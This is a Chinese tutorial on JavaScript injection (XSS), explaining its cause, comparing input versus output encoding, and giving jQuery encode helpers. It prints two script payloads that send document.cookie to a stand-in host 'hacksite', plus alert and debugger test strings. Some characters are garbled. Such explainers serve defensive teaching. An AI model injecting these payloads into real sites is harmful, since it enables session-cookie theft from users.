JavaScript注入漏洞的原理及防范(詳解)
初次接觸:
初次接觸JavaScript注入漏洞后,如果不對(duì)這種漏洞的作用機(jī)理仔細(xì)分析并提取出其發(fā)生的某種模式,你就不能做到快速的發(fā)現(xiàn)項(xiàng)目中可能存在的所有注入風(fēng)險(xiǎn)并在代碼中防范。
發(fā)生模式:
JavaScript注入漏洞能發(fā)生作用主要依賴兩個(gè)關(guān)鍵的動(dòng)作,一個(gè)是用戶要能從界面中注入JavaScript到系統(tǒng)的內(nèi)存或者后臺(tái)存儲(chǔ)系統(tǒng)中;二是系統(tǒng)中存在一些UI會(huì)展示用戶注入的數(shù)據(jù)。
比如注入漏洞最常見的就是發(fā)生在各種類型的名字中,比如系統(tǒng)中的人名等等,因?yàn)槊滞鶗?huì)在各種系統(tǒng)上顯示,如果在某個(gè)用戶輸入名字的時(shí)候注入了腳本,那么受其影響的各個(gè)系統(tǒng)都有發(fā)生注入漏洞的風(fēng)險(xiǎn)。
曾經(jīng)在幫別的項(xiàng)目做Bug Bash時(shí),我給系統(tǒng)中的一個(gè)名字中注入了JavaScript腳本,結(jié)果導(dǎo)致使用這個(gè)名字的8個(gè)子系統(tǒng)、站點(diǎn)、app出現(xiàn)問題。
解決方案:
防范注入漏洞主要有兩個(gè)思路:一個(gè)是在用戶輸入數(shù)據(jù)后Encode內(nèi)容后再保存到持久存儲(chǔ),另一個(gè)是在展示用戶輸入數(shù)據(jù)的地方Encode從持久存儲(chǔ)中取到的數(shù)據(jù)。
方法一的優(yōu)點(diǎn)是一般存儲(chǔ)用戶輸入數(shù)據(jù)的代碼少而固定但展示輸入數(shù)據(jù)的UI界面可能有很多而且還會(huì)有變化的可能,因此比較好防范;但缺點(diǎn)是存儲(chǔ)在持久存儲(chǔ)中的數(shù)據(jù)是Encode后的。
方法二的優(yōu)點(diǎn)是存儲(chǔ)在持久存儲(chǔ)中的數(shù)據(jù)原始內(nèi)容;但缺點(diǎn)是需要在多處UI界面中寫代碼防范,而且還得確保在增加新的UI時(shí)不忘防范。比如現(xiàn)在Web app比較流行,公司決定開發(fā),那么在開發(fā)的過(guò)程必須要做好防范,否則可能別的地方都防范好了,但新系統(tǒng)中卻沒有做好防范,漏洞最后還是發(fā)生了。
JavaScript Html Encode/Decode by jQuery:
function htmlEncode(value){ return $('<div/>').text(value).html(); } function htmlDecode(value){ return $('<div/>').html(value).text(); }
漏洞被用于攻擊時(shí)注入內(nèi)容:
jQuery場(chǎng)景:
<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>
原生JS場(chǎng)景:
<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>
測(cè)試漏洞時(shí)注入內(nèi)容:
<script>alert(0)</script>
<script>debugger</script> --輔助開發(fā)人員快速定位出錯(cuò)的JavaScript代碼(打開調(diào)試器的情況下)。
以上這篇JavaScript注入漏洞的原理及防范(詳解)就是小編分享給大家的全部?jī)?nèi)容了,希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
相關(guān)文章
淺析js實(shí)現(xiàn)網(wǎng)頁(yè)截圖的兩種方式
這篇文章主要介紹了淺析js實(shí)現(xiàn)網(wǎng)頁(yè)截圖的兩種方式,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-11-11JavaScript 彈出窗體點(diǎn)擊按鈕返回選擇數(shù)據(jù)的實(shí)現(xiàn)
這兩天一直想實(shí)現(xiàn)這個(gè),以前做做個(gè)Demo,但是不知道跑哪去了。于是今天在網(wǎng)上找了些資料再自己動(dòng)手搞定。廢話不多說(shuō)。直接進(jìn)入主題啦。2010-04-04JS實(shí)現(xiàn)用特殊符號(hào)替換字符串的中間部分區(qū)域的實(shí)例代碼
相信很多人都遇到過(guò)敏感信息需要做部分隱藏功能,大多數(shù)都是用特殊符號(hào)去替換。今天小編給大家?guī)?lái)了JS實(shí)現(xiàn)用特殊符號(hào)替換字符串的中間部分區(qū)域的實(shí)例代碼,需要的朋友參考下吧2018-07-07innerText和textContent對(duì)比及使用介紹
innerText使用過(guò)程中遇到了FireFox的兼容問題FireFox不支持innerText方法但是有個(gè)類似的方法,叫textContent,類似innerText,都是用來(lái)獲?。ㄔO(shè)置)元素中text的方法,感興趣的朋友可以參考下2013-02-02ToolTip 通過(guò)Js實(shí)現(xiàn)代替超鏈接中的title效果
ToolTip 通過(guò)Js實(shí)現(xiàn)代替超鏈接中的title效果,需要的朋友可以參考下。2011-04-04